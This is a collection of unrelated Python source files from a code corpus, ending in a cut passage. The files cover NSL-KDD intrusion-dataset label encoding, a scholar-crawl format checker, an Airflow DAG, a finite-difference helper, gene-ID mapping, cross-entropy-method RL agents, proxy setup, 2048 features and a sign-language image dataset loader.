+{"seq_id":"24848484","text":"\"\"\"\n    ===============특징 선택(1)===============\n    NTS-KDD 데이터 셋에 존재하는 symbolic 특징은 4개\n    1) protocol_type , 2) service, 3) flag, 4) level\n    level은 이미 binary화가 되어있으므로 나머지 3개 특징에 대한 symbolic 정보를 binary 정보로 변환\n\n    protocol_type(3) : ['icmp' 'tcp' 'udp']\n    service(70) : ['IRC' 'X11' 'Z39_50' 'aol' 'auth' 'bgp' 'courier' 'csnet_ns' 'ctf' 'daytime' 'discard' 'domain'\n    'domain_u' 'echo' 'eco_i' 'ecr_i' 'efs' 'exec' 'finger' 'ftp' 'ftp_data' 'gopher' 'harvest' 'hostnames' 'http'\n    'http_2784' 'http_443' 'http_8001' 'imap4' 'iso_tsap' 'klogin' 'kshell' 'ldap' 'link' 'login' 'mtp' 'name'\n    'netbios_dgm' 'netbios_ns' 'netbios_ssn' 'netstat' 'nnsp' 'nntp' 'ntp_u' 'other' 'pm_dump' 'pop_2' 'pop_3'\n    'printer' 'private' 'red_i' 'remote_job' 'rje' 'shell' 'smtp' 'sql_net' 'ssh' 'sunrpc' 'supdup' 'systat' 'telnet'\n    'tftp_u' 'tim_i' 'time' 'urh_i' 'urp_i' 'uucp' 'uucp_path' 'vmnet' 'whois']\n    flag(11) : ['OTH' 'REJ' 'RSTO' 'RSTOS0' 'RSTR' 'S0' 'S1' 'S2' 'S3' 'SF' 'SH']\n\"\"\"\n\nimport pandas as pd\n\n#데이터 호출\ntrain_data = pd.read_csv('F:/data/KDD99/NSL-KDD/test/Train_data.csv')\ntrain_data = train_data.drop(['level'], axis=1)\ntest_data = pd.read_csv('F:/data/KDD99/NSL-KDD/test/Test_data.csv')\ntest_data = test_data.drop(['level'], axis=1)\n\ndata_list = [train_data,test_data]\n\nfor data in data_list:\n    #특징 유형 식별\n    print(data.dtypes)\n\n    #특징 데이터 추출\n    df_protocol = data['protocol_type']\n    df_service = data['service']\n    df_flag = data['flag']\n\n    #특징별 개수 파악\n    print(str(list(set(df_protocol)))+\" : \"+str(len(list(set(df_protocol)))))\n    print(str(list(set(df_service)))+\" : \"+str(len(list(set(df_service)))))\n    print(str(list(set(df_flag)))+\" : \"+str(len(list(set(df_flag)))))\n\n    from sklearn import preprocessing\n    le = preprocessing.LabelEncoder()\n    le.fit(df_protocol)\n    print(\"\\nprotocol_type(\"+str(len(list(set(df_protocol))))+\") : \"+str(le.classes_))\n    trans_protocol = le.transform(df_protocol)\n    print(df_protocol.head(10))\n    print(trans_protocol[:10])\n\n    data['protocol_type'] = trans_protocol\n\n    le = preprocessing.LabelEncoder()\n    le.fit(df_service)\n    print(\"\\nservice(\"+str(len(list(set(df_service))))+\") : \"+str(le.classes_))\n    trans_service = le.transform(df_service)\n    print(df_service.head(10))\n    print(trans_service[:10])\n\n    data['service'] = trans_service\n\n    le = preprocessing.LabelEncoder()\n    le.fit(df_flag)\n    print(\"\\nflag(\"+str(len(list(set(df_flag))))+\") : \"+str(le.classes_))\n    trans_flag = le.transform(df_flag)\n    print(df_flag.head(10))\n    print(trans_flag[:10])\n\n    data['flag'] = trans_flag\n\n    print(\"\\n\")\n    print(data.head(10))\n\ntrain_data.to_csv('dataset/train_data.csv', index=False)\ntest_data.to_csv('dataset/test_data.csv', index=False)\n\n#특징 타입 변환 확인\nprint(train_data.dtypes)","sub_path":"paper_experiment/feature_representation.py","file_name":"feature_representation.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"598482468","text":"import getTime\nimport datetime\n\n\ndef personalinfoformat(data):\n    # check id format\n    rewriteData = data\n    personalData = data['personalData']\n    if (data['id'][7::] != 'AAAAJ' or data['id'] == ' ' or data['id'] == None):\n        return False\n    # check personal data format\n    if(personalData['name'] == ' ' or personalData['name'] == None):\n        return False\n\n    if(personalData['university'] == ' ' or personalData['university'] == '首頁' or personalData['university'] == None):\n        rewriteData['personalData']['university'] = 'None'\n\n    if(personalData['picture'] == ' ' or personalData['picture'] == None or personalData['picture'] == '/citations/images/avatar_scholar_128.png'):\n        rewriteData['personalData']['picture'] = 'https://scholar.google.com.tw/citations/images/avatar_scholar_128.png'\n\n    if(len(personalData['label']) == 0):\n        rewriteData['personalData']['label'] = 'None'\n    # check updateTime format\n    if(personalData['updateTime'] == '' or personalData['updateTime'] == None):\n        rewriteData['personalData']['updateTime'] = getTime.currentTime()\n\n    try:\n        datetime.datetime.strptime(\n            personalData['updateTime'], \"%Y-%m-%d %H:%M:%S\")\n    except:\n        rewriteData['personalData']['updateTime'] = getTime.currentTime()\n    return rewriteData\n\n\ndef labelinfoformat(data):\n    rewriteData = data\n    if(len(data['userID']) == 0):\n        return False\n    # check updateTime format\n    if(data['updateTime'] == '' or data['updateTime'] == None):\n        rewriteData['personalData']['updateTime'] = getTime.currentTime()\n\n    try:\n        datetime.datetime.strptime(\n            data['updateTime'], \"%Y-%m-%d %H:%M:%S\")\n    except:\n        rewriteData['updateTime'] = getTime.currentTime()\n    return rewriteData\n","sub_path":"cgu_crawl/checkDataformat.py","file_name":"checkDataformat.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"115208451","text":"from airflow import models\nfrom airflow.operators.bash_operator import BashOperator\nfrom datetime import datetime, timedelta\n\t    \n\t\n  # start_date를 현재날자보다 과거로 설정하면, \n  # backfill(과거 데이터를 채워넣는 액션)이 진행됨\n\t\ndefault_args = {\n    'owner': 'airflow',\n    'depends_on_past': False,\n    'start_date': datetime(2020, 2, 9),\n    'email': ['airflow@airflow.com'],\n    'email_on_failure': False,\n    'email_on_retry': False,\n    'retries': 1,\n    'retry_delay': timedelta(minutes=5)}\n\n# dag 객체 생성\nwith models.DAG(\n    dag_id='test', description='First DAG', \n    schedule_interval = '55 14 * * *', \n    default_args=default_args) as dag:\n\n    \n    t1 = BashOperator(\n        task_id='print_date',\n        bash_command='date',\n        dag=dag)\n    \n    # BashOperator를 사용\n    # task_id는 unique한 이름이어야 함\n    # bash_command는 bash에서 date를 입력한다는 뜻\n    \n    t2 = BashOperator(\n        task_id='sleep',\n        bash_command='sleep 5',\n        retries=3,\n        dag=dag)\n    \n    templated_command=\"\"\"\n        {% for i in range(5) %}\n            echo \"{{ ds }}\"\n            echo \"{{ macros.ds_add(ds, 7)}}\"\n            echo \"{{ params.my_param }}\"\n        {% endfor %}\n    \"\"\"\n    \n    t3 = BashOperator(\n        task_id='templated',\n        bash_command=templated_command,\n        params={'my_param': 'Parameter I passed in'},\n        dag=dag)\n    \n    # set_upstream은 t1 작업이 끝나야 t2가 진행된다는 뜻\n    t2.set_upstream(t1)\n    # t1.set_downstream(t2)와 동일��� 표현입니다\n    # t1 >> t2 와 동일 표현\n    t3.set_upstream(t1)","sub_path":"airflow/dags/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"179123404","text":"from ..scheme_fdm_mixin import SchemeFDMMixin\n\n\nclass DownwindSchemeFDMMixin(SchemeFDMMixin):\n\n    @staticmethod\n    def elements(N: int, L: int, i: int):\n\n        if i > N:\n            l = N\n            ini = i - N\n            fini = i + 1\n        else:\n            l = i\n            ini = 0\n            fini = N + 1\n\n\n        return l, ini, fini\n","sub_path":"methods/fdm/schemes/downwind/downwind_scheme_fdm_mixin.py","file_name":"downwind_scheme_fdm_mixin.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"423320756","text":"#!/usr/bin/env python3\n#Requires two arguments to run\n\nimport sys\n\nUniProt_FlyBase = {}\nfly = set()\n\n#open uniprot_flybase.txt as arg 1  \nfor line in open(sys.argv[1]):\n    fly = line.strip(\"\\r\\n\").split()\n    key = fly[0]\n    value = fly[1]\n    UniProt_FlyBase[key] = value\n\n#open ~/data/results/stringtie/SRR072893/t_data.ctab as arg 2\nfor line in open(sys.argv[2]):\n    fields = line.strip(\"\\r\\n\").split(\"\\t\")\n    Flybase_id = fields[8]\n    if Flybase_id in UniProt_FlyBase:\n        Uniprot_id = UniProt_FlyBase[Flybase_id]\n        print(Uniprot_id + \" \" + line.rstrip())\n#if no matching StringTie entry, UniProt ID will appear as \"Unknown\"      \n    else:\n        print(\"Unknown\" + \" \" + line.rstrip())","sub_path":"day2-homework/flybase_uniprot_unk.py","file_name":"flybase_uniprot_unk.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"160289567","text":"\nimport numpy as np\nfrom rl.dfo.agent import DFOAgent\n\nfrom IPython.core.debugger import set_trace\n\nERROR_MSG_KEY_ERROR = 'ERROR> key (%s) should have been provided'\n\nclass CEMAgent( DFOAgent ) :\n\n\n    def __init__( self, name, config, model ) :\n        super( CEMAgent, self ).__init__( name, config, model )\n\n        # parameters for the gaussian perturbation\n        self._noiseScale = config.eps0 * config.sigma0\n        # score of a trajectory\n        self._score = 0.\n        # best score so far\n        self._bestScore = -np.inf\n        # discount factor\n        self._gamma = config.gamma\n        # step counter\n        self._istep = 0\n\n        # number of samples from the distribution to be evaluated\n        self._populationSize = config.populationSize\n        # number of samples to keep for refitting the distribution\n        self._elitesSize = int( np.ceil( config.elitesFraction * config.populationSize ) )\n\n        # an indicator of the current sample being evaluated\n        self._currentSampleIndx = 0\n\n        # model representing the mean of the distribution\n        self._meanModel = self._model.clone()\n        self._meanModel.seed( self._seed )\n\n        # states of the random number generator of the model (self._model) when applying each perturbation\n        self._randStates = []\n        # all scores saved so far\n        self._scores = []\n    \n\n    def onStartEpisode( self, args = {} ) :\n        if self._mode == 'train' :\n            # perturb the mean-model to generate a sample for evaluation\n            self._model.copy( self._meanModel )\n            _befState, _nowState = self._model.perturb( 'gaussian', \n                                                        { 'perturbationScale' : self._noiseScale } )\n\n            # save the random state just before perturbation for later reconstruction\n            self._randStates.append( _befState )\n        else :\n            # use the mean model for evaluation\n            self._model.copy( self._meanModel )\n\n\n    def update( self, transition ) :\n        # unpack the reward from the transition ( s, a, r, s', done )\n        _, _, _r, _, _ = transition\n        # update the score, discounting it appropriately\n        self._score += (self._gamma ** self._istep) * _r\n        # and also update the step counter\n        self._istep += 1\n\n\n    def onEndEpisode( self, args = {} ) :\n        if self._mode == 'train' :\n            self._currentSampleIndx = ( self._currentSampleIndx + 1 ) % self._populationSize\n            self._scores.append( self._score )\n    \n            if self._currentSampleIndx == 0 :\n                # we have finished a pass, so update the mean-model from elites\n                _elitesIndices = np.argsort( self._scores )[-self._elitesSize:]\n                self._bestScore = max( self._scores )\n                _elitesRandStates = [ self._randStates[i] for i in _elitesIndices ]\n                # recompute the mean-model from the elites perturbed states\n                for _rstate in _elitesRandStates :\n                    self._meanModel.perturb( 'gaussian', \n                                             { 'perturbationScale' : ( self._noiseScale / self._elitesSize ),\n                                               'randState' : _rstate } )\n    \n                # reset the scores|randStates buffer for another pass\n                self._scores = []\n                self._randStates = []\n\n        # clear counters and accumulators for the next iteration\n        self._istep = 0\n        self._score = 0.\n\n\n    @property\n    def noiseScale( self ) :\n        return self._noiseScale\n    \n\nclass CEMAgentParallel( DFOAgent ) :\n\n\n    def __init__( self, name, config, model, rank, numWorkers, seeds ) :\n        super( CEMAgentParallel, self ).__init__( name, config, model )\n\n        # id of the agent, related to the process in which is being run\n        self._rank = rank\n        # number of workers used for training\n        self._numWorkers = numWorkers\n        # seeds of all other processes that contain the other agents\n        self._seeds = seeds\n\n        ## Same parameters as in non-parallel case #############################\n        # parameters for the gaussian perturbation\n        self._noiseScale = config.eps0 * config.sigma0\n        # score of a trajectory\n        self._score = 0.\n        # best score so far\n        self._bestScore = -np.inf\n        # discount factor\n        self._gamma = config.gamma\n        # step counter\n        self._istep = 0\n        ########################################################################\n\n        # total population size among all workers\n        self._totalPopulationSize = config.populationSize\n        # population size chunk assigned to this agent\n        self._chunkPopulationSize = int( np.ceil( config.populationSize / numWorkers ) )\n\n        # total elites size among all workers\n        self._totalElitesSize = int( np.ceil( config.elitesFraction * config.populationSize ) )\n        # elites size chunk assigned to this agent\n        self._chunkElitesSize = int( np.ceil( config.elitesFraction * config.populationSize / numWorkers ) )\n\n        # indicator of the current sample being in the chunk evaluated\n        self._currentSampleIndx = 0\n\n        # model representing the mean of the distribution\n        self._meanModel = self._model.clone()\n        self._meanModel.seed( self._seed )\n\n        # random number generators of all workers\n        self._randGens = [ np.random.RandomState( self._seeds[i] ) for i in range( self._numWorkers ) ]\n        # states of all random number generators of the models in across all workers\n        self._randStates = []\n\n        # all scores of this chunk\n        self._chunkScores = []\n\n\n    def onStartEpisode( self, args = {} ) :\n        if self._mode == 'train' :\n            # perturb the mean-model to generate a sample for evaluation, also ...\n            # we are not caching the random states, as these will be computed ...\n            # again for all workers during the gather operation\n            self._model.copy( self._meanModel )\n            self._model.perturb( 'gaussian', \n                                 { 'perturbationScale' : self._noiseScale } )\n        else :\n            # use the mean model for evaluation\n            self._model.copy( self._meanModel )\n\n\n    def update( self, transition ) :\n        # unpack the reward from the transition ( s, a, r, s', done )\n        _, _, _r, _, _ = transition\n        # update the score, discounting it appropriately\n        self._score += (self._gamma ** self._istep) * _r\n        # and also update the step counter\n        self._istep += 1\n\n\n    def onEndEpisode( self, args = {} ) :\n        _retInformation = { 'chunkFinished' : False }\n\n        if self._mode == 'train' :\n            self._currentSampleIndx = ( self._currentSampleIndx + 1 ) % self._chunkPopulationSize\n            self._chunkScores.append( self._score )\n    \n            if self._currentSampleIndx == 0 :\n                # we are ready to start the gather process, so notify the ...\n                # trainer and send the required information for all-gather step\n                _retInformation['chunkFinished'] = True\n                _retInformation['chunkScores'] = self._chunkScores\n\n        # clear counters and accumulators for the next iteration\n        self._istep = 0\n        self._score = 0.\n\n        return _retInformation\n\n\n    def onGathered( self, allScores ) :\n        r\"\"\"Method called once all-gather operation finishes\n\n        This method should be called by the trainer to send the required\n        score information from all workers (including this worker) once the\n        all-gather operation finishes\n\n        Args:\n            allScores (list): scores across all workers, obtained from their interactions in each process\n\n        \"\"\"\n        # 0) clean the buffer of the random states and the chunk scores\n        self._randStates = []\n        self._chunkScores = []\n\n        # 1) Reconstruct all random states from all perturbations made across ...\n        #    all workers. We do this using each random generator associated ...\n        #    which each worker by unrolling over the chunk population size.\n        #    We reconstruct each perturbation and store the random state for ...\n        #    later usage, but do not use the random number generator as it ...\n        #    has to be kept in sync with the other generators (run exactly chunkSize times)\n\n        for i in range( self._numWorkers ) :\n            for j in range( self._chunkPopulationSize ) :\n                # recreate the random perturbations, but avoid applying it\n                # recall that the random number generator was called exactly ...\n                # chunkPopulationSize times (one per each sample in the chunk)\n                _befRandState, _nowRandState = self._model.perturb( 'gaussian',\n                                                                    { 'perturbationScale' : 0.0,\n                                                                      'externRandGen' : self._randGens[i],\n                                                                      'applyPerturbation' : False } )\n\n                # store the random state used to create the perturbation\n                self._randStates.append( _befRandState )\n\n        _sgen1 = self._randGens[self._rank].get_state()\n        _sgen2 = self._model._randgen.get_state()\n\n        assert ( _sgen1[0] == _sgen2[0] and\n                 np.array_equal( _sgen1[1], _sgen2[1] ) and\n                 _sgen1[2] == _sgen2[2] and\n                 _sgen1[3] == _sgen2[3] ), 'ERROR> random generators should land in same spot'\n\n        ## print( 'rank %s: len(randstates) = %d, totalPopulationSize = %d' % ( self._rank, len( self._randStates ), self._totalPopulationSize ) )\n\n        assert len( self._randStates ) == self._totalPopulationSize, \\\n               'ERROR> mismatch in separation of chunks.'\n\n        # 2) Compute elites using all scores and reconstruct the perturbations ...\n        #    of the elites according to the random states recomputed previously.\n        #    Scores have to be in the following form, to ensure alginemnt with ...\n        #    random states :\n        #       \n        #  allScores:       [ SCORES_WORKER_1 - SCORES_WORKER_2 - ... - SCORES_WORKER_N ]\n        #  allRandStates:   [ RANDOM_STATES_1 - RANDOM_STATES_2 - ... - RANDOM_STATES_N ]\n\n        _elitesIndices = np.argsort( allScores )[-self._totalElitesSize:]\n        self._bestScore = max( allScores )\n        ## print( 'rank %s: len(elitesIndices) = %d, len(randstates) = %d' % ( self._rank, len( _elitesIndices ), len( self._randStates ) ) )\n        ## print( 'rank %s: elitesIndices = ', _elitesIndices )\n        _elitesRandStates = [ self._randStates[i] for i in _elitesIndices ]\n        _elitesWorker = [ eliteIndex // self._chunkPopulationSize for eliteIndex in _elitesIndices ]\n\n        # 3) Update the mean-model from the elites and using the perturbations ...\n        #    applied at each step for each elite-sample. Use the same-seed random ...\n        #    generator of the mean model with the appropriate random state from before\n\n        for _rstate, _workerId in zip( _elitesRandStates, _elitesWorker ) :\n            self._meanModel.seed( self._seeds[_workerId] )\n            self._meanModel.perturb( 'gaussian', \n                                     { 'perturbationScale' : ( self._noiseScale / self._totalElitesSize ),\n                                       'randState' : _rstate } )\n\n\n    def checkForSameModels( self, otherModelsWeights ) :\n        r\"\"\"Checks if this models has same weights compared to other processes models\n\n        Args:\n            otherModelsWeights (list): a list with the weights of each model (each process)\n\n        \"\"\"\n        _allEqual = True\n        for i, _otherModelWeights in enumerate( otherModelsWeights ) :\n            if not self._meanModel.areWeightsEqual( _otherModelWeights ) :\n                _allEqual = False\n                print( 'WARNING> models %d and %d have different weights' \\\n                       % ( self._rank, i ) )\n                \n\n        return _allEqual","sub_path":"rl/dfo/cem.py","file_name":"cem.py","file_ext":"py","file_size_in_byte":12146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"258816430","text":"import os\nimport pathlib\nfrom metadrive import config\n\ndef set_proxies(proxies):\n\n    if proxies == 'default':\n        proxies = config.ENSURE_PROXIES()\n\n    if not proxies:\n        proxies = {\n            'httpProxy': None,\n            'sslProxy': None,\n            'socksProxy': None\n        }\n\n    proxy = {'proxyType': 'MANUAL'}\n    for key in proxies:\n        if proxies[key] is not None:\n            if key == 'http_proxy':\n                Key = 'httpProxy'\n            elif key == 'ssl_proxy':\n                Key = 'sslProxy'\n            elif key == 'socks_proxy':\n                Key = 'socksProxy'\n            else:\n                Key = key\n\n            if Key in ['http', 'https']:\n                Value = proxies[key].rsplit('//', 1)[-1]\n                proxy['socksProxy'] = Value\n            else:\n                proxy[Key] = proxies[key]\n\n    if len(proxy) <= 1:\n        proxy = None\n\n    return proxy\n\ndef init_profile(profile, porfiles_dir, recreate_profile):\n\n    local = True\n\n    if local:\n        profile_path = os.path.join(\n            str(pathlib.Path.home()),\n            os.path.join(porfiles_dir, profile))\n    else:\n        profile_path = None\n\n    if profile_path is not None:\n\n        if not os.path.exists(profile_path):\n            os.makedirs(profile_path)\n\n        elif recreate_profile:\n            import shutil\n            shutil.rmtree(profile_path)\n\n    return local\n","sub_path":"metadrive/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"228716702","text":"import numpy as np\nimport math\n\nclass Feature:\n        \n    def feature(self,board):\n        board,merge_score = board\n        monotonicity = 0\n        flatness = 0\n        for i in range(np.size(board,0)):\n            list_monotonicity,list_flatness = self.list_monotonicity(board[i,:])\n            monotonicity += list_monotonicity\n            flatness += list_flatness\n            list_monotonicity,list_flatness = self.list_monotonicity(board[:,i])\n            monotonicity += list_monotonicity\n            flatness += list_flatness\n        blank_tile =  np.size(board[board == 0])\n        return monotonicity/10,flatness,blank_tile,merge_score\n        \n        \n    def list_monotonicity(self,array):\n        size = np.size(array)\n        #if size == 0:\n        #    return 0,0\n        delta = np.empty(size - 1)\n        flatness = 0\n        for i in range(size - 1):\n            delta[i] = abs(array[i + 1] - array[i])\n            if delta[i] == 0:\n                flatness += 1\n        monotonicity = np.sum(delta) - np.max(array) + np.min(array)\n        return monotonicity,flatness\n                \n    def simplify(self,board):\n        board = np.reshape(board,[1,16])\n        table = {2**i:i for i in range(1,11)}\n        table[0] = 0\n        for i in range(16):\n            board[0,i] = table[board[0,i]]\n        return board","sub_path":"2048-api-master/game2048/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"340813964","text":"import os\nimport sys\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nfrom PIL import Image\nfrom skimage import io\nfrom sklearn.model_selection import (ShuffleSplit, StratifiedShuffleSplit,\n                                     GroupShuffleSplit)\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms\n\nimport random\nfrom random import randint\nimport copy\n\nsys.path.insert(0, './utils/')\nfrom utils import one_hot_1D, one_hot_2D, inverse_transform\nsys.path.insert(0, './data/')\nfrom transforms import (numpyToTensor, Normalize_1_1, Normalize_0_1,\n                        randomHorizontalFlip, randomAffineTransform,\n                        randomColourTransform, ImgAugTransform)\n\n# DATASETS_LIST = {'celeba': CelebA, 'staticSL': KinectLeap}\n\n\ndef getSplitter(dataset, n_splits=5, mode='groups', test_size=.15):\n    X_to_split = np.zeros((len(dataset), 1))\n    if mode == 'groups':\n        rs = GroupShuffleSplit(n_splits=n_splits, test_size=test_size,\n                               random_state=42)\n        g = [dataset[i][2] for i in range(len(dataset))]\n        # tr_indexes, test_indexes = next(splitter.split(X_to_split, groups=g))\n        return rs.split(X_to_split, groups=g)\n    elif mode == 'stratify':\n        rs = StratifiedShuffleSplit(n_splits=n_splits, test_size=test_size,\n                                    random_state=42)\n\n        y = [dataset[i][1] for i in range(len(dataset))]\n        return rs.split(splitter.split(X_to_split, y))\n    else:\n        rs = ShuffleSplit(n_splits=n_splits, test_size=test_size,\n                          random_state=42)\n        return rs.split(X_to_split)\n\n\ndef split_data(dataset, splitter, batch_sze, dataAug, mode='groups'):\n    # Split train and validation\n    X_to_split = np.zeros((len(dataset), 1))\n\n    tr_indexes, test_indexes = splitter\n    g_train = list(np.unique([dataset[i][2] for i in tr_indexes]))\n    g_test = list(np.unique([dataset[i][2] for i in test_indexes]))\n\n    print(g_train, g_test)\n\n    # train and validation loaders\n    data_train = KinectLeap(model=dataset.model, isTrain=True,\n                            person_ids=g_train, dataAug=dataAug)\n    data_valid = KinectLeap(model=dataset.model, isTrain=False,\n                            person_ids=g_test, dataAug=False)\n\n    train_loader = torch.utils.data.DataLoader(data_train,\n                                               batch_size=batch_sze,\n                                               shuffle=True, num_workers=4,\n                                               sampler=None)\n\n    valid_loader = torch.utils.data.DataLoader(data_valid,\n                                               batch_size=batch_sze,\n                                               shuffle=False, num_workers=4,\n                                               sampler=None)\n\n    return train_loader, valid_loader\n\n\nclass CelebA(Dataset):\n    def __init__(self,\n                 data_fn='/data/DB/celebA/img_align_celeba/',\n                 transform=True):\n\n        self.transform = transform\n        self.data_fn = data_fn\n        self.imgs_list = sorted(os.listdir(self.data_fn))\n\n    def __len__(self):\n        return len(self.imgs_list)\n\n    def __getitem__(self, index):\n        img = Image.open(os.path.join(*(self.data_fn, self.imgs_list[index])))\n\n        if self.transform:\n            self.tranforms = self.tranformations()\n            img = self.tranforms(img)\n\n        return img\n\n    def tranformations(self):\n        # celeba transforms\n        crop_size = (148, 148)\n        resize_sze = (64, 64)\n        data_transform = transforms.Compose([\n                transforms.CenterCrop(crop_size),\n                transforms.Resize(resize_sze),\n                transforms.ToTensor(),\n                Normalize()])\n        return data_transform\n\n\nclass KinectLeap(Dataset):\n    def __init__(self,\n                 data_fn='/data/DB/kinect_leap_dataset_signer_independent/',\n                 n_person=14,\n                 n_gesture=10,\n                 n_repetions=10,\n                 extension='_rgb.png',\n                 data_type='RGB_CROPS_RZE_DISTTR2',\n                 as_gray=False,\n                 isTrain=False,\n                 transform=True,\n                 dataAug=False,\n                 person_ids=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13],\n                 model='cnn'):  # 'cnn', 'vae', 'twins'\n\n        self.data_fn = data_fn\n        self.n_person = n_person\n        self.n_gesture = n_gesture\n        self.n_repetions = n_repetions\n        self.data_type = data_type\n        self.extension = extension\n        self.as_gray = as_gray\n        self.isTrain = isTrain\n        self.transform = transform\n        self.dataAug = dataAug\n        self.model = model\n        self.person_ids = person_ids\n\n        # Create dir dict\n        self.data = {}\n        sample = 0\n        for p in self.person_ids:  # person loop\n            for g in range(self.n_gesture):  # gesture loop\n                for r in range(self.n_repetions):  # reps loop\n                    self.data[sample] = {}\n                    self.data[sample]['p'] = p\n                    self.data[sample]['g'] = g\n                    self.data[sample]['r'] = r\n                    self.data[sample]['fn'] = os.path.join(*[self.data_fn,\n                                                             \"P\"+str(p+1),\n                                                             \"G\"+str(g+1),\n                                                             self.data_type,\n                                                             str(r+1) + self.extension])\n                    sample += 1\n        # print(self.data)\n\n    def __len__(self):\n        return len(self.data)\n\n    def getDataIndex(self, y, g, rep):\n        for sample in range(len(self.data)):\n            if (y == self.data[sample]['g'] and\n                g == self.data[sample]['p'] and\n                rep == self.data[sample]['r']):\n\n                return sample\n\n    def __getitem__(self, index):\n        # x (image), y, g (person id), rep\n        img_fn = self.data[index]['fn']\n        # x = Image.open(img_fn)\n        x = io.imread(img_fn)\n        h, w, _ = x.shape\n\n        y = self.data[index]['g']\n        g = self.data[index]['p']\n        rep = self.data[index]['r']\n\n        # 1D one hot encoding\n        # labels\n        y_1D = one_hot_1D(n_classes=self.n_gesture, label=y)\n        # person id\n        g_1D = one_hot_1D(n_classes=len(self.person_ids),\n                          label=self.person_ids.index(g))\n\n        # 2D one hot encoding\n        # labels\n        y_2D = one_hot_2D(n_classes=self.n_gesture, size=(h, w),\n                          label=y)\n\n        # person id\n        g_2D = one_hot_2D(n_classes=len(self.person_ids), size=(h, w),\n                          label=self.person_ids.index(g))\n\n        # plt.figure()\n        # plt.subplot(121)\n        # plt.imshow(x)\n        # print(\"1: \", x.shape)\n        # transform\n        if self.transform:\n            self.tranforms = self.tranformations()\n            x = self.tranforms(x)\n        # print(\"2: \", x.shape)\n        # plt.subplot(122)\n        # plt.imshow(inverse_transform(x))\n        # plt.show()\n\n        if self.model == 'cnn':\n            return x, y, g\n        elif self.model == 'vae':\n            return x, y  # , n_person-1\n        elif self.model == 'cvae':\n            return x, y, g, y_1D, g_1D, y_2D, g_2D\n        elif self.model == 'twins':\n            # for valiadation and test just return x, y, g\n            if not self.isTrain:\n                return x, y, g\n\n            # INPUTS FOR PRINCIPAL CVAE DECODER\n            # there is 50% of changing id\n            p = 0.5\n            is2change = np.random.choice([0,1], 1, p=[1-p, p])\n\n            g_decoder = copy.deepcopy(g)\n            g_decoder_1D = copy.deepcopy(g_1D)\n            x_decoder = copy.deepcopy(x)\n\n            if is2change:\n                while g_decoder == g:\n                    g_decoder = randint(0, len(self.person_ids)-1)\n                g_decoder_1D = one_hot_1D(n_classes=len(self.person_ids),\n                                          label=g_decoder)\n\n                sample = self.getDataIndex(y, self.person_ids[g_decoder],\n                                           randint(0, self.n_repetions-1))\n\n                img_fn = self.data[sample]['fn']\n                # x_decoder = Image.open(img_fn)\n                x_decoder = io.imread(img_fn)\n\n                # transform\n                if self.transform:\n                    self.tranforms = self.tranformations()\n                    x_decoder = self.tranforms(x_decoder)\n\n            # INPUTS FOR EXTRA CVAE ENCODER\n            # generate person id g2 (g2 != g)\n            g2 = copy.deepcopy(g)\n            g2_2D = copy.deepcopy(g_2D)\n            while g2 == g:\n                g2 = random.randint(0, len(self.person_ids)-1)\n\n            g2_2D = one_hot_2D(n_classes=len(self.person_ids), size=(h, w),\n                               label=g2)\n\n            sample = self.getDataIndex(y, self.person_ids[g2],\n                                       randint(0, self.n_repetions-1))\n\n            img_fn = self.data[sample]['fn']\n            # x2 = Image.open(img_fn)\n            x2 = io.imread(img_fn)\n\n            # transform\n            if self.transform:\n                self.tranforms = self.tranformations()\n                x2 = self.tranforms(x2)\n\n            return(x, y, g, y_1D, g_1D, y_2D, g_2D,\n                   x_decoder, g_decoder, g_decoder_1D,\n                   x2, g2, g2_2D)\n\n    def tranformations(self):\n        # celeba transforms\n        if not self.dataAug:\n            data_transform = transforms.Compose([Normalize_0_1(),\n                                                 Normalize_1_1(),\n                                                 numpyToTensor()])\n        else:\n            # print('INNNN')\n            data_transform = transforms.Compose([Normalize_0_1(),\n                                                 ImgAugTransform(),\n                                                 randomColourTransform(),\n                                                 Normalize_1_1(),\n                                                 numpyToTensor()])\n        return data_transform\n\n\nif __name__ == '__main__':\n    crop_size = 148\n    resize_sze = (64, 64)\n    BATCH_SIZE = 32\n\n    dataset = KinectLeap(model='cvae')\n\n    for i in range(len(dataset)):\n        X, y, g, y_, y__, g_, g__ = dataset[i]\n        X = inverse_transform(X)\n        print(y)\n        print(g)\n        print(y_)\n        print(g_)\n        print(y__)\n        print(g__)\n        plt.figure()\n        plt.imshow(X)\n        plt.axis('off')\n        plt.show()\n\n    # Data\n    # data transform\n    data_transform = transforms.Compose([\n                     transforms.CenterCrop((crop_size, crop_size)),\n                     transforms.Resize(resize_sze),\n                     transforms.ToTensor(),\n                     Normalize()])\n\n    dataset = CelebA(data_fn='/data/DB/celebA/img_align_celeba/',\n                     transform=data_transform)\n\n    dataset_len = len(dataset)\n\n    # Split train and validation\n    rs = ShuffleSplit(n_splits=1, test_size=.25, random_state=42)\n    X_to_split = np.zeros((dataset_len, 1))\n\n    tr_indexes, test_indexes = next(rs.split(X_to_split))\n\n    # train and validation loaders\n    train_sampler = torch.utils.data.sampler.SubsetRandomSampler(tr_indexes)\n    valid_sampler = torch.utils.data.sampler.SubsetRandomSampler(test_indexes)\n\n    train_loader = torch.utils.data.DataLoader(dataset,\n                                               batch_size=BATCH_SIZE,\n                                               shuffle=False, num_workers=4,\n                                               